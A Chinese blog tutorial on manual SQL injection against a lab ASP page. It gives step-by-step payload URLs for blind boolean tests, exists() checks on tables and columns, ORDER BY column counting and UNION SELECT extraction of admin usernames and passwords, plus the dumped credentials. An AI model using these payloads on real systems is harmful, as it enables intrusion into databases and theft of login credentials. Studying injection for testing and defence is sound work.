sql注入

来源:互联网 发布:内存中存放的是数据 编辑:程序博客网 时间:2024/05/16 10:02

思路:找到注入点-》猜数据库名-》猜表名-》猜列名-》用数据库函数猜用户名密码

sql注入的前提:

1、用户能够控制数据的输入。

2、原本要执行的代码,拼接了用户的输入。

方式:

1、盲注:很多时候,Web服务器关闭了错误回显时的注入攻击,构造简单的条件语句如and 1=1和1=2根据返回页面是否发生变化,来判断SQL语句是否得到执行。

2、数据手工注入:

http://192.168.100.2:104/onews.asp?id=2

get 提交方式  

数字型的注入漏洞 用   http://192.168.100.2:104/onews.asp?id=2 and 1=1和   http://192.168.100.2:104/onews.asp?id=2 and 1=2判断是否存在注入漏洞

http://192.168.100.2:104/onews.asp?id=2 and exists(select admin from admin)  判断表名admin是否存在。

http://192.168.100.2:104/onews.asp?id=2 and exists(select admin from admin)  判断列名admin是否存在。

http://192.168.100.2:104/onews.asp?id=2 and exists(select password from admin)  判断列名password是否存在。
别外,列名,可以从后台的html中看到。

http://192.168.100.2:104/onews.asp?id=2  order by 11  判断有几列。

http://192.168.100.2:104/onews.asp?id=2 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11 from admin 确定是否有11列。

http://192.168.100.2:104/onews.asp?id=2  and 1=2 union select 1,admin,password,4,5,6,7,8,9,10,11 from admin 得出用户名密码

owen   pyhr

用户表部分应该是   id   admin  password  

也可以偏移注入 http://192.168.100.2:104/onews.asp?id=2  and 1=2 union select 1,admin,password,4,5,6,7,* from admin 得出用户名密码
发布者:1 发布时间:owen 阅读:pyhr次


 

 


 

0 0
原创粉丝点击